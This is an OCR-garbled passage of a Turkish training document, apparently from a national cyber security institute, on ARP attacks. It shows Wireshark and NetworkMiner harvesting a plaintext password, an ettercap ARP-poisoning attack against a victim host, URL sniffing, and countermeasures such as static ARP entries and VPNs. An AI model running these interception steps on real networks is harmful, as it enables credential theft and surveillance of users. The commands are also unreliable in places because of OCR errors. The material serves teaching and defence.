+#-Ethernet II, Src: PcsCompu_dd:a8:25 (08:00:27:dd:a8:25), Dst: Azurewa
+- Address Resoclution Protocol (reply)

Jd

Gc 71 d9 dB8 94 d3 08 00 27V dd aB 25 08 05 08 01 1q R
0E10 0B 00 05 04 00 02 [ENEERERNGEREERNES co a8 00 01 oo
Gc 71 d9 dB 94 d3 cd a8 00 fe 1g

| (0 ¥ wireshark_enp0s3_20190324005143_f4kRjr.pcapnc Packets: 40675 - Displayed:

5 Ucbirim - roc
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wiew Go Capture Analyze Stati
Open Ctrl4+0 >

Open Recent r

Merge...

Impart from Hex Dump. ..
Close Ctri+w

Ctrl+5s
Ctrl+shift+5

Save

Hport Specified Packets. ..
¥«port Packet Dissections ¢
xport Packet Bytes... Ctrl+Shift+x
xport PDUs to File...

Export SSL Session Keys...

Export Objects r

Print... Ctrl+p R
_ (08: 0€
_Bmt Ctrl+g

rhnBe 71 06 d8 84 d3 08 06 27 dd ag 25 ¢

B0l0 0B 00 06 04 00 02 RERELE-YE:RE-T-Rpes

OOZ0 Bc 71 do dB 94 d3 co aB 00 fe

| (0 7 wireshark_enp0s3_20190324005143_f4kRjr.pc
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Wireshark - Save Capture File As

File Edit s
Look in: ‘.jhomejhefesefl\dasaugtu j (= o~ B s =
- Computer Mame |Size |Type |Date Modified
‘& hefese

root@|

-
File name: [trafik
+- Frame Cancel

4 Ethern

+ Addreg Save as: [Wiresharktepdump/... - pca | Help
3| I Compress with gzip A

Gc 71 do dg 94 d3 08 oo 27 d

10 B8 B0 D6 B4 00 02 08 08 27 dd a8 25 cO ag8 0o 1 .. RS TR
0020 [SEFICEIEERELIEE co a8 00 oe 1o [

| © 7 wireshark_enp0s3_20190324005143_fakRjr.pcapng  Packets: 40675 - Displayed: 40675 (100.0%)  Profile: Default

Burada ftrafigi kaydederken dosya formati kisminda Wireshark / tcpdump / ... - pcap
secenedinin segili oldugundan emin olun. Aksi takdirde sadece Wireshark'a 6zel uzantida
trafigi kaydedersiniz ki bu NetworkMiner'da trafii acamayacaginiz anlamina gelir. Trafigi
kaydettiginizde dosyaniz su sekilde belirttiginiz konumda olusur:

trafik.pcap

\d

paroue 1

Gorintus...

ha

222.png

moQo o123 @
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Simdi NetworkMiner aracimizi hazirlayalim ve olusturdugumuz trafik dosyasini NetworkMiner
ile acalim.

Pardus Terminal:

J4(%) Kurulum

sudo su
apt-get install mono-reference-assemblies-2.8 mono-dewvel

wget www.netresec.com/?download=NetworkMiner -0 /tmp/networkminer.zip
apt-get install unzip

unzip ftmp/networkminer.zip -d fopt/

cd fopt/NetworkMiner®

chmod +x NetworkMiner.exe

chmod -R gotw AssembledFiles/

chmod -R gotw Captures/

J4(*) Calistirma
mono MetworkMiner.exs

NOT: Eger program zaten kuruluysa programi baglatmak icin su iki satiri girmeniz yeterlidir:

cd fopt/NetworkMiner®
mono MetworkMiner.exe

NetworkMiner 2.4

File Tools Help

Hosts ]Fi\es | images | Messages | Credentials | Sessions | DNS | Parameters | Keywords | Anomalies | Case Panel

- — File... MD5
Sort Hosts On: |IP Address (ascending) ﬂ Sort and Refresh | ile

Reload Case Files

Buffered Frames to Parse:

o [R NetworkMiner 2.4 Ucbirim - he N N 05:01 @

Program arayuzu yukaridaki gibi ekrana geldikten sonra sirasiyla; NetworkMiner'a dosyayi File
-> Open ile yukleyelim, Keywords sekmesine gelelim, sifre ifade edebilecek anahtar kelimeleri
girelim ve ekrana bulgularin yansimasini bekleyelim.
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Hosts }Fil

Look in: |M Masaisti
Sort Host

trafik. pcal

File name: | Open

=]
Files of type: |F‘cap files (*.pcap, *.cap, *.dump, * ﬂ Cancel e Files

7

Tames 0 rarse: |

(4441 .. trafik... . [Ucbiri.. [ I w! 01:26 @

<

Loading PCAP file |

Case Panel

3) | DNS | Parameters | Keyr

=] Sort and Refresh |||[trafic.  4sd7-..

s

2.136

) 192.168.0.23

Reload Case Files

K Network... [ « O 01:29 @
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NetworkMiner 2.4

File Tools Help

Case Panel
Hosts {40) ] Files ] Images ] Messages ] Credentials ] Sessions (2) ] DNS (0) ] Parameters (1) Keywords ]Ann

TLEIL RN B S = Frame number | Timestamp | Keyword | Context | Source Host | Sou

trafik.... 4401f...
" or in hex format Tike
password Add
&5 Add keywords from text

C

Remove |

o]
Buffered Frames to Parse:

Reload Case Files

n - Google D..

. NetworkMiner 2.4

| Qg 04:20 ©

NetworkMiner 2.4
File Tools Help
Case Panel

Hosts (40) ] Files ] Images ] Messages ] Credentials ] Sessions (2) } DNS (0) ] Parameters (1) Keywords ]Ano File...
Enter keyword as string like = b imestamp WO . - trafik....  4401f...
"fo0" or -I"n hex cf‘ol'mat ke Frame number | Timestamp | Keyword | Context | Source Host | Sou
—
& Add keywords from text file |
password

Remove | | | 2 Reload Case Files

Buffered Frames to Parse:

m+oQOn 04220

Anahtar kelime, resimde gosterildigi gibi girildiginde ve "Reload Case Files" ( Olay Dosyalarini
Tekrar Yukle ) butonuna tiklanildiginda trafikteki paketler sirasiyla girilen anahtar kelimeye
gobre taranacaktir ve eslesenler ekrana verilecektir. Bu denemede ekrana yansiyan bir sey
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olmadi. Sifre ifade eden kelimeleri gesitlendirmeyi deneyebiliriz. Bu is igin internetten sifre
cagrisimi veren sozcukler iceren wordlist'ler (s6zluk dosyalari) edinilebilir ve anahtar kelime
ekleme kutucugunun altindaki "Add Keywords from Text File" (Metin Dosyasindan Anahtar
Kelimeler Ekle) butonuna basarak daha kapsamli bir trafik analizi yapilabilir. Biz burada elle
cesitlendirme segenegini deneyelim ve mesela password degil de bu sefer Password diyelim.

I
File Tools Help
Case Panel

Hosts (40) ] Files ] Images } Mefsages ] Credentials ] Sessions (2) ] DNS (0} } Parameters (1) Keywords ]Ann File..
Enter keyword as string like < Per stamp VWor z = trafik... 4401f...
“foo" or '\fn hex ?o|'|11at e Frame number | Timestamp | Keyword | Context | Source Host | Sou

Password Add

lj Add kel s from text file ‘

password

Remove ‘ 1 ﬂ Reload Case Files

Buffered Frames to Parse:
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NetworkMiner 2.4

File Tools Help

Case Panel
Hosts (40) ] Files ] Images ] Messages ] Credentials ] Sessions (2) ] DNS (0} } Parameters (1) Keywords ]Ano File... -
Enter keyword as string like z z o B = = trafik. 4401F
"foo" or in hex format like Frame number ‘ Timestamp | Keyword | Context | Source Host | Sou

Add
Lj Add keywaords from text file |
v

password
Password

Remove | 1 |

ﬂ Reload Case Files

Buffered Frames to Parse:

2 dge (47,6 kB), Bos alan: 8,7 GB
NetworkMiner... B *

NetworkMiner 2.4

File Toaols Help
Case Panel
Hosts (40) | Files | Images | Messages | Credentials | Sessions (2) | DNS (0) | Parameters (1) Keywords (2) ], File -
Fr'étg.!' UI“'I'.E'-I";:NI%EL ?osrﬁﬁgpcna!ziake Frame number | Timestamp | Keyword trafik....  4401f...
2300 2019-03-23 23:16:14 UTC Password [0x506173737761
Add| [2301 2019-03-23 23:16:14 UTC Password [0x50617373776I
I.j Add keywords from text file |
password
Password
Remove | hl ﬂ Reload Case Files
Buffered Frames to Parse:
3 6ge (98,1 kB), Bos alan: 8,7 GB

NetworkMiner... B
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Goruldugu tzere bu sefer bazi bulgular ekrana yansimistir. Bu bulgular incelendiginde

NetworkMiner 2.4

Case Panel

| File...

File Tools Help

Hosts (40) | Files | Images | Messages | Credentials | Sessions (2) | DNS (0) | Parameters (1) Keywords (2) ]
Enter keyword as :trint[! like Context trafik.... 4401Ff...
2k9pu22....userlD=cilginjoe&userPassword=benimguzelsifrem&online=1

"foo” or in hex format like
Add | [2k9pu22 userlD=ci\Hin'ne&userPasswnrd=benimﬁuzelsifrem&nnline=1

&5 Add keywords from text file |

password

é ﬂ Reload Case Files

Remove | ﬂ

Buffered Frames to Parse:

iR w 04:24 ®

kullanici adi ve sifre igeren bir veri elde edilmistir. Burada kritik veri elde edebilmek igin yine
biraz iscilik gérduginiz gibi yaptik. Fakat eger sansliysaniz hi¢ bu iglere girismeden / vakit
kaybetmeden trafik paketini NetworkMiner'a yulklediginiz gibi otomatikmen "Credentials"
sekmesi altinda NetworkMiner'in trafik icerisinde saptadigi kullanici adi ve sifre ciftlerini

gorintileyebilirsiniz.
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NetworkMiner 2.4

File Tools Help

Hosts ] Files ] Images ] Messages Credentials lsessloms ] DNS } Parameters ] Keywords | Anomalies } Case Panel
——
¥ Show Cookies ¥ Show NTLM challenge-response [T Mask Passwords File MD5

Client ‘ Server ‘ Protocol ‘ Username ‘ Password | Valid login | Login timestamp |

B

Reload Case Files

Buffered Frames to Parse

W

ﬁ [Drive'im - Google D... NetworkMiner 2.4 $_ Ugbirim - hefese@ha m«+ Q0 05:29 e

Bdylece trafik analizi konusunda high-level bir ¢6zimi (NetworkMiner't) gérmis oldunuz.
NetworkMiner v.b. yazilimlari hiz isteyen islerinizde kullanmak adina envanterinize dahil
edebilirsiniz. Fakat unutmayin: Wireshark'da daha derin ve detayli analizler yapabilmektesiniz.
Dolayisiyla NetworkMiner bu konuda size pek bir sey 6gretmeyecektir. Sayet Wireshark ile
kendinizi trafik analizinde gelistirirseniz bir NetworkMiner gibi, belki daha da kalitelisini ve
akillisini siz yapabilirsiniz.

i. Ekstra 2 [URL Sniff'leme]

Arp Spoofing saldirisi ile saldirganlar kurban bilgisayarin sadece ziyaret ettigi siteleri
6grenmek isteyebilirler. Bu is icin c¢esitli araglardan (wireshark, networkminer,...'"dan)
yararlanilabilir. Simdi araya girme saldirisi arp zehirlemesi ile kurbanin surf yaptigi web
sitelerinin  URL'lerini Sniffleme ( URL Bilgilerini Yakalama) uygulamasini yapalim.

Gereksinimler

(+) Uygulama belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Pardus Linux 17.5 LTS [indir] // Saldirgan Sistem

Windows 10 Home Premium TUR LANG x64 [indir] // Kurban Sistem

Oncelikle yerel bir agda (6rn; ev aginda) bir araya giren adam saldirisi olan arp zehirlemesini
tekrarlayalim. Fakat bu sefer arpspoof tool'u yerine ettercap adli tool'u kullanalim (not: Bilgi
toplama asamasi hizli gegilecektir. Detayli agiklamalari Uygulama bashgi altinda zaten
anlatiimigtir. Ettercap Gzerine ise deginilecektir):
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Pardus Terminal:

I
ip

I
ip

i
£

i

(*) Ethernet arayiz ismini &&renme
address ff Cikti: enp@s3ife

(*) Router ip Bgrenme
route SfoCikta: 172.16.3.1

(*) Kurban IP'sini dg&renms
Sosyal mih. ile ya da gizli kspakli isler ile S Cakta: 172.16.3.97

~ Hazirlik asamasi tamamlandi

Ettercap tool'u ile arp zehirleme saldirisi kullanimi su sekildedir:

ettercap -Tgi enpOs3 -M ARP:REMOTE -P repoison arp /gatewayIP// /victimIP//

Parametre Aciklamalari:

: Metin (Konsol) Arayiziinii Kullan

: Ciktilamada sessiz (quiet) modda ol (yani paket iceriklerini

ekrana basarak kalabalik olusturma)

: Araylz (interface) ismini al

: MITM (Man in the Middle) saldirisi yap, araya gir "ve" sniffing'e

basla ayarlarini aktive et. Bu parametre argiman olarak METHOD:ARGUMENTS
alir. Orn; ARP:REMOTE gibi.

: Plugin (Eklenti) adi alir. -P kullanilmazsa mevcut vaziyette sadece LAN

'daki cihazlar taranir ve hangi host'lar adgda bilgisi toplanir. -P para
metresine arp zehirlemesi yapan repoison arp (defaatle arp zehirlemesi
yap) eklentisi koyuldudu zaman ettercap ile arp zehirlemesi saldirisi
baslar.

Ettercap'e son iki arguman olarak ise arasina girilecek iki hedefin (router ve kurbanin)
IP'leri konur.

Ettercap Geligtiricisinden Not:

Burada ettercap konsol arayuzunun eski syntax'iyla yeni syntax'i arasindaki bir
farka deginmekte fayda var. Daha Once eski surUmu kullanan (benim gibi)
kimseler i¢in syntax (kullanim sekli)

ettercap -Tgi enpOs3 -M ARP:REMOTE -P repoison arp /gatewayIP/ /victimIP/

seklindeyken yenisinde artik

ettercap -Tgi enpOs3 -M ARP:REMOTE -P repoison arp /gatewayIP// /victimIP//

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

52



TASNIF DISI

Ag Haberlesmesi ve Arp Saldirilar:

seklindedir. Buradaki degisimin nedeni ettercap'e IPv6 desteginin gelmis
olmasindandir. Artik ettercap target (hedef) IP alirken MAC/IP/IPv6/PORT
formatinda arguman almaktadir. Biz MAC kismini pas gectik ki bu sayede
herhangi bir MAC kisiti koymamis olduk, ardindan slash (/) koyduk. Akabinde
hedef IP'yi verdik. Sonra tekrar slash (/) koyduk. Ardindan normal kosullarda
IPv6 bir agda olmayacagimiz i¢in o kismi da pas gegcip tekrar slash (/) koyduk.
Son olarak arp zehirlemesi sonucu sadece spesifik bir porttan (6rn; 80, 8080,
443 4443, 8443,...) gelen trafigi al kisiti koymak yerine hangi porttan geliyorsa
gelsin kurbandan gelen tim trafigi al serbestligini vermek adina PORT kismini
da pas gectik. Bu nedenle /172.16.3.97// ve /172.16.3.1// seklinde bir arguman

ortaya ¢ikmis oldu.

Simdi hazirlik asamasinda edindigimiz bilgiler ile ettercap tool'unu kullanalim:

Pardus Terminal:

A4 (®) Kurulum ve Yapilandirma

sudo su

;ﬁt:get install ettercap-graphical

echo @ » fproc/sys/net/ipve/conf/enp@s3/use_

nano fetc/ettercap/etter.conf #
#
#
#
#

exit #

echo $UID #

sSudo su

nano fetc/ettercap/etter.conf #
#
#
#
#

JO(®) Test

ettercap

HOoHH W H

J4 (%) Calistirma

tempaddr # GSzden kacmasin: enp@s3

# araylz ismindeki dizine

# dallaniliyor.
Dosyadaki Linux basligr altinda yer alan ipchains
icin redir_command_on = ... , redir_command_off wve
iptables ic¢in redir_command_on, redir_command_off
satirlarinin basindaki # (diyez) isaretini kaldirin
ve dosyayl kaydedin.
root kullanicisindan cikin.
C1kt1 olarak gelen sayiy: kopyalayan.

Dosya a¢ilir acilmaz ilk planda gorilen [privs]
basligl altindaki ec_uid = ... ve ec_gid = ...
satirlarindaki 65534 rakamlarini silip az dnce
kopyaladiginiz rakami koyun. Dosyayl kaydedin ve
kapatin.

Ettercap'e dair bir bildirim ekrana geliyorsa kurulum
ve yapilandirma sorunsuz tamamlanmistir. Mot:

ettercap’i root kullanicisiyla baslatmaniz gerekmekte.

z ge
Fakat o kendi icerisinde sonradan haklarini az dnce
kopyala / yapistir ile koydugunuz rakama (yani sizin
noermal kullanicinizin haklarina) diosidrecektir.

ettercap -Ti enp@s3 -M ARP:REMOTE -P repoisen_arp /172.16.3.1// /172.16.3.97//

Ciktr:

(Router IP) (Kurban IP)

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

53



TASNIF DISI Ag Haberlesmesi ve Arp Saldirilari

root@hasanfsimsek-pardus: ~

:~# ettercap -Ti enpBs3 -M ARP:REMOTE -P repoison_arp /
ettercap 6. opyright 2001-2015 Ettercap Development Team

Listening on:
enpls3 ->

rivileges dropped to EUID 1866 EGID 1080...

33 plugins
2 prot

===>| 100.080 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 172 - 00:10:18:DE:AD: 05

GROUP 2 : 172.16.3.97 BA:EQ:5F:D4
STarting uniTtiea SNLTTL

Text only Inte

+_ Ucbirim - root@hasanfs... me 11:59 e

Arpspoof'la yaptigimiz araya girme ve trafigi Gzerimizden gecirme islemini simdi ettercap tool'u
ile yapmig bulunmaktayiz. Trafigini Uzerimize aldigimiz kurbanin o siralarda ziyaret ettigi web

sitelerinin listesini almak icin Wireshark ile dinleme moduna gecelim ve Wireshark'in segenek
olarak sundugu fonksiyondan faydalanalim.

Pardus Terminal:

wireshark

Ciktr:
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File Edit Miew Go Capture Analyze Statistics Telephony Wireless Tools Help

A m XGQ(——)Q-(—-»E|

[N 2pply a display filter ... <Ctrl/>

Welcome to Wireshark

Capture

..using this filter: ([ Enter a capture filter ...

enp0s31f6

any
Loopback: lo
nflog
nfqueue
usbmonl
usbmonz
@ Cisco remote capture: ciscodump
@® Random packet generator: randpkt
@® SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump -

Learn
User's Guide - wiki -

Questions and Answers

Mailing Lists

You are running Wireshark 2.6.5 (Git v2.6.5 packaged as 2.6.5-1~debSul).

#  Ready to load or capture

"| The Wireshark Network...

The Wi

Dt R E|a « » n

Flle Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help

3 -)’7”7‘ B o alft

<Ctrl-j>

ply a display filter ...

[ ~| Expressiot

Welcome to Wiresharl

B Capture

...using this filter: | |Ente|‘ a capture filter ..,

-] Allinterfaces shown ~

enp0s31f6

any
Loopback: lo

nflag
nfqueue

usbmonl

usbmon2

@ Cisco remote capture: ciscodump

A @ Random packet generator: randpkt

@ SSH remote capture: sshdump

@ UDP Listener remote capture: udpdump

Learn

User's Guide Wiki

Questions and Answers
You are running Wireshark 2.6.5 (Git v2.6.5 packaged as 2.6.5-1~debgul).

Mailing Lists

#  Ready to load or capture

No Packets Profile: De
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File Edit View Go Capture Analyze Statistics Telephony Wireless Teools Help

L -H-)ES

RE|a € » 0« =

=

13.806133618
. 795684813

192,

168.20,127
,217.18.163

224,168,168,168
.16.3.97

upP

TLSV1.2
TCP

60
129

. <Ctrl-/>
Mo | Time | source | Destination | Protoco|Lengt| Info

61 11,391876161 Dell 6f:56:3a HewlettP_bs:as:eo ARP 42 172,16.3,97 1s at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
62 12.319555072 172.16.3.75 239.255,255.258 SSDP 213 N-SEARCH * HTTP/1.1

64 12.839255921 Dell 67:56:3a Dell o ARP 42 172.16.3.1 is at 54:bf:64:67:56:3a

65 13.321469008 172,16.3.75 239.255, 255 zsn SSDP 213 M-SEARCH * HTTP/1.1

66 13.392217874 Dell 6f:56:3a HeulettF_bS:ad:00  ARP 42 172.18.3.97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
67 13.524662414 172,16.3.97 239.255,255.250 SSDP 208 N-SEARCH * HTTP/1.1

54321 - 6061 Len=g
Application bata
[TCP Refransmi 4564 [PSH

4 [FIN

[TcP out-0f-order]

‘217 T8, 153
.15 3.
‘153.20.127 .168,166.168 54321 - 6061 Len
.105190560 192,168.20.127 .168.166.168 54321 - 6061 Len=g

80 14.526338812 172,16.3.97 239,255, 255,258 SSDP 208 M-SEARCH * HTTP/1.1
81 14.839415008 Dell 67:56:3a ARP 42 172.16.3.1 is at 54:bf:64:67:56:3a
82 15,392542178 Dell_6f:s6:3a HewlettP bs 29:00 ARP 42 172,16.3,97 is at 54:bf:e4:6f:56:3a (duplicate use of 172.16.3.1 detected!)
83 15.526680532 172,16.3,97 239.255,255.250 SSDP 208 M-SEARCH * HTTP/1.1
84 16.460990771 172.16.3.74 172.16.3.255 HENS 92 Name query NE WORKGROUP<id>
85 16.527330169 172,16.3.97 239,255, 255 250 SSOP 208 M-SEARCH * HTTP/1.1
86 16.839679657 Dell 67:56:3a Dell_B8:01 ARP 42 172,16.3.1 1s at 54:bf:64:67:56:32
87 17.392743686 Dell 6f:56:3a Heulett?,hs.aa.nn ARF 42 172,16.3.97 is at 54:bf:84:6f:56:3a (duplicate use of 172.16.3.1 detected!)
88 18.403903160 172.16.3.74 172.16.3.255 HBNS 92 Hame query NE WORKGROUP<id>
89 18.403923000 172,16.3.74 172.16.3.255 NBNS 92 Name query NB WORKGROUP<Lld:
90 18.839956612 Dell _67:56:3a Dell_P8:01:61 ARP 42 172.16.3.1 15 at 54:hfi64:67:56:33
91 15.393078047 Dell 6f:56:3a HeulettP bS:a8:00  ARF 42 172.18.3.97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)

172,16.3.74 HBNS 92 Name query NB WORKGROUP<ld>

Dell 67:56:3a ARP 42 172.16.3.1 is at 54:bf: 54 6f: ss 3a
94 21.393394900 Dell 6f:58:3a HewlStr bs:as:io0  ARF 42 172,16.3.97 is at 54:bf 6:3a (duplicate use of 172.16.3.1 detected!)
95 22.B40656139 Dell 6f:56:3a Dell_B8:01:61 ARP 42 172.16.3.1 is at 54:bf:64: sf 56:3a
96 23.019607116 Vmware_cd:89:63 Broadcast ARP 60 Who has 172,163,527 Tell 172.16.3.83

Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface @

Ethernet II, Src: Vmiare_c4:89:63 (0B:0C:29:C4:89:63), DSt: Broadcast (Ffiffiffiffiffiff)
Address Resolution Protocol (request)

TOFT T 1T 1T 11T 00 0c 29 c4 89 63 08 06 00 01 R R

08 00 06 @4 60 01 60 6c 29 c4 89 63 ac 10 O3 53 ©)oco 8

00 00 00 @0 60 00 ac 10 B3 34 00 00 00 00 00 60 o 4

00 00 00 90 00 Q0 00 00 0O 0O 00 OO0 .

Q

¥ enp0s31fé: <live capture in progress>

Capturing from enp0s3.

Trafigi yu

karidaki gib

seceneklerine tiklanir.

dinler moddayken Wireshark ->

Statistics -> HTTP ->

Requests
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LTy Capture File Properties  Ctri+-Al+shift+C

File Edit View Go Captu Resolved Addresses

W

Analyze | Statistics
Protocol Hierarchy

Conversations

Endpoints '] Expression... | +

Packet Lengths
Ifo Graph
Service Response Time 4

DHCP (BOOTP) Statistics
OMC-RPC Programs

172 9 29West
PcsCompu_dd : ANCP
PcsCompu_dd: ag: BACHhet

1 .18, 1¢

: o Collectd
DMS

Flow Graph
HART-IP
HPFEEDS

g’ 5.0.12 is at

v
Reguests HTTP2 i
+#-Frame 1: 1392 bytes |opad Dist - Sametime interface ® N
+-Ethernet II, Src: F 5
. J - TCP Stream Graphs r
+- Internet Protocol j A ; ) - hd
4 Ny UDP Multicast Streams »
b
g 08 27 dd ag 25 4c cc Ga ed BT 5 » i‘
05 62 9c d7 40 90 40 11 19 58 cB = o
11 ce cc 1d 01 bb 85 4e 21 1c ac 7 |PWg Statistics P |
| @ ? enp0s3: <live capture in progress= IPvE Mgtistics * D.0%) Profile: Default

7@3 & Capturing from enp0s3 $_ Ugbirim - hefes | EiEw 10:39 @

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi 57



TASNIF DISI Ag Haberlesmesi ve Arp Saldirilari

Wireshark - Requests - enp0s3

Topic [ ltem
-HTTP Reguests by HTTP Host .
+- www.netemlak.net
+- www.lordspalace.com
= www.includekarabuk.com
fkitaplikjresimlerjupload/hubswitchrout.. . I

fkltapI|kfres|m|er,fupload;hubsmﬂtchrouter\.femodemfarklarls p
(kitaplikjresimlerjupload/hubswitchroutervermodemfarklari7 g An I I k 0 I a ra k
[kitaplikfresimlerjupload/hubswitchroutervemaodemfarklaris.p
[kitaplikfresimlerjupload/hubswitchroutervemodemfarklaris.p .
[kitaplikfresimler/upload/hubswitchroutervernodemfarklarid. k b
fkitag|ikfresimlerfuEloadfhubswitchroutervemodemfarklariS.E u r a n I n z I va rEt
fkitaplikfresimlerjupload/hubswitchroutervermodemfarklari2.p
[kitaplikfresimlerjupload/hubswitchroutervemodemfarklari1o. swe g 1]
fkitaplikjresimlerjupload/hubswitchroutervemaodemfarklaril.jp gtt g H I I P
[kategoriler/genel/Hub-Switch-Router-Modem-Gateway-ve-Acfess ar
[kategorilerfcesitliSizmaTekniklerifMetasploit-Detay-Bilgiler.ph .
findex.ph S I
Jebout php iteler
+- www. httpyshttps.com 6
-l-trc.taboola.com ==
f1082954f|0913fun|p?en page_view&tim=1553413124597 &reft=N%2FA
tr.simplesite.com ==
thewiseboutiquehotelspa.com g
apiwunderground.com =

238.255.255.250:15800 =
Mo

i.php

e [ ] [

1| ﬂ
Display filtter: | Enter a display filter ... Apply
Copy ‘ Save as... ‘ Close ‘

?3 8 Capturing from enp0Os " PWireshark * Requestsi| :_ [Ucbirim - hef - L [) D 10:41 9

Ve bingo. Kurbanin ziyaret ettigi "HTTP" siteleri. Wireshark'in bu fonksiyonu gelen
trafigi inceleyip, her paketin her layer'ini gorevi icabi decode edip, sonra fonksiyon
dolayisiyla ilaveten Application Layer'lara bakip, HTTP olan paketleri bulup (bunu her
gelen paket igin teker teker tekrarliyor!), ardindan bu paketlerin Hostname bashgi ve
talep edilen Path'ini (URI'sini) birlestirmeye dayaniyor ki wireshark gibi low level
¢alisan devasa kapsama sahip bir uygulama igin yogun trafiklerde bu Gstesinden
gelemeyecedi bir is yuku olusturabilir. Bu nedenle spesifik bir Hitp Paket yaklalayici
ve Url sniff'leyici program kullanmak ya da kodlamak daha hafif siklet olacagi igin
daha verimli bir c6zim sunacaktir.

Not:

Yaklasik u¢ yil dnce aldigim notlarda birebir deneyip dokimante ettigim bir
uygulama olan "urlsnarf" araciyla Url Sniffleme islemi aslinda tam da
bahsettigim o hafif siklet gozimlerden bir tanesiydi. Fakat o zamandan bu yana
ya urlsnarf aracinin degisimine ayak uyduramadigim icin ya da urlsnarf araci ¢
yillik stre¢ boyunca degisen ¢evresel sartlara ayak uyduramadidi igin dnceden
oldugu gibi gergeklestirdigim url sniff'leme islemini bu satirlar yaziyorken tekrar
denemem sonucunda gercgeklestiremedim. Ancak su da bir gergek ki bu gibi
sektordeki araglar gogu zaman is icabi degil de hobi icabi ilgili meslek sahipleri
tarafindan gelistirildiginden ve gelistiriliyor oldugundan bu tarz vak'alarla ilk defa
karsilastigim da sdylenemez. Glncelinde gcalismayan ve yillardir glincelleme
almamig aracin eski versiyonlarinda c¢alisabilmesi gibi... Urlsnarf'in ilgili
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guncellemeleri almasi olasigina karsin agsagida bu aracin en temel kullanimini
ve ekrana anlik olarak sundugu ciktiyi sizlerle paylagiyorum:

ip address Jf Caikti: ethe
urlsnarf -i etha ff -1 @ interface (arayiiz adi

3
A

Bdylelikle yerel bir agda saldirganin bir bagka kullanicinin trafigini gézetleyerek hangi web
sitelerine ziyaret ettigine dair takipte kaldigi ufak bir uygulamayi yapmis olduk.

j. Arp Spoofing'e Karsi Onlem

Bu makale boyunca bahsedildigi Uzere arp zehirlemesi saldirisi arp protokoll tasarimiyla ilintili
bir problemdir. Bu problemin kdkten ¢6zimu ARP protokolini upgrade etmekten (sturim
yukseltmekten - glncellemekten) veya komple degistirmekten gecer. Fakat yine makale
icerisinde belirtildigi Uzere protokolin tasarimina dinyay elektronik ¢oplige donlstirmemek
icin dokunulamamaktadir. Dolayisiyla kullanilacak ¢6zimlerden ¢odu pansuman tedbir
niteliginde olacaktir. Bu ¢6zimlerden bazisinin kulfeti ¢ok, ama isinizi gdrecek cinsten
olacaktir. Bazisinin ise kilfeti az, ama iginizi biraz sallantida birakacak cinsten olacaktir. Yerel
aginizdaki bilgisayarlarinizi arp zehirlemelerine kargi korumak igin iclerinden birini veya
birkacini secebileceginiz dnlemler su sekildedir;

i) Statik Arp Kayitlar: Girme

Yerel aginizdaki bilgisayarlarinizin Arp Tablolarina el yordamiyla statik (dedismeyen) arp
kayitlarini girip yerel agdaki bilgisayarlarin birbirini gérme (MAC adreslerini tanima) iglemini
elle yapabilirsiniz. Bilgisayarlarinizi dinamik arp Onbellek guncellemelerine kapatip elle bu
sekilde vyapilandirarak arp zehirlemesi tarzi ag tabanh saldirilari kesin bir sekilde
engelleyebilirsiniz. Ancak bu énlem blyUk bir handikapa (dezavantaja) sahiptir: En basitinden
evinizde 3 adet bilgisayar oldugunu varsayaraksak bu bilgisayarlardan her biri icin elle arp
kayitlarini girmeniz gerekecektir. Peki evinize misafir geldiginde ve bilgisayarini getirdiginde
ne olacak dersiniz? Misafirinizin internete c¢ikabilmesi i¢in onun makinesinde de ayarlama
yapmaniz gerekecek. Peki evinize gelen misafirler mobil telefonlarini ev internetine baglamak
sitediginde ne yapacaksiniz? igler gittikce kiilfetlesmeye baslayacaktir. Bunu bir de ig
ortaminda (onlarca / yuzlerce bilgisayarin oldugu ortamlarda) dustnecek olursak...? Hatta
makalenin basinda bahsedilen kafe 0Ornegine gelecek olursak kafeler sizce bu &énlemi

TUBITAK — BILGEM - Siber Guvenlik Enstitisi

59



TASNIF DISI Ag Haberlesmesi ve Arp Saldirilari

uygulayabilir mi? Her gelen musterisi icin "Bir dakika. Bilgisayariniza girip ayarlama yapmam
gerekiyor." diyebilir mi? Dolayisiyla bu énlem c¢odu senaryoda oldukg¢a kullanigsiz bir
yontemdir. Fakat kritik addedilebilecek senaryolarda spesifik makinalar icin uygulanabilir.

ii) VPN Kullanma

Yerel agdaki kullanicilariniza VPN kullanimini tavsiye edebilirsiniz. VPN, isletim sistemindeki
internetle konusan tim yazilimlarinizin trafiginin sifreli olarak internete c¢ikisini saglar. Bu
nedenle olasi bir arp zehirleme saldirisi sonrasi kullanici trafiginin (6rn; hesap bilgilerinin)
okunabilmesinin énline gegilmis olur. Bu ¢6zUimun handikapi (dezavantaji) internetinizin araya
giren guvenli gecit dolayisiyla olmasi gerektigi kadar hizli olamayacak olmasidir. Ayrica kritik
kamu kurum ve kuruluglarinda kurum ici personel trafiginin direk hedefine gidecekken bunun
yerine VPN dolayisiyla yurtdisindaki yabanci bir kurulusun sunuculari Gzerinden gitmesi pek
de kabul edilebilir gérilmeyecektir.

Not 1: HTTPS siteleri ziyaret eden kullanicilarinizin trafigi zaten arp zehirlemesi ile araya giren
saldirganlarca okunamaz. Fakat internetteki bir sunucu ile haberlesen bir masadsti yaziliminiz
halen sifresiz iletisim kuracagindan VPN &nerilmektedir.

Not 2: Ettercap ile araya girme saldirisi arp zehirleme yapilan kurban bir sistemde VPN yokken
includekarabuk.com web sitesi icin kullanici hesap bilgilerinin elde edebildigi, fakat kurban
sisteme vyprVPN adli VPN yazilimi kurup saldir tekrarlandiginda includekarabuk.com web
sitesi i¢in kullanici hesap bilgilerinin elde edilemedigi goriimustur. Dolayisiyla VPN varken
"http" sitelerinde dahi trafigin snifflenemedigi (ockunamadigi) gézlemlenmistir.

iii) Anomaliteyi Olcen Monitoring (Gézlemleyici) ve Detector (Tespit Edici)
Yazilimlar Kullanma

Sistem yoneticileriniz agdaki arp paket trafigini monitoring eden (g6zlemleyen) ve anomaliteleri
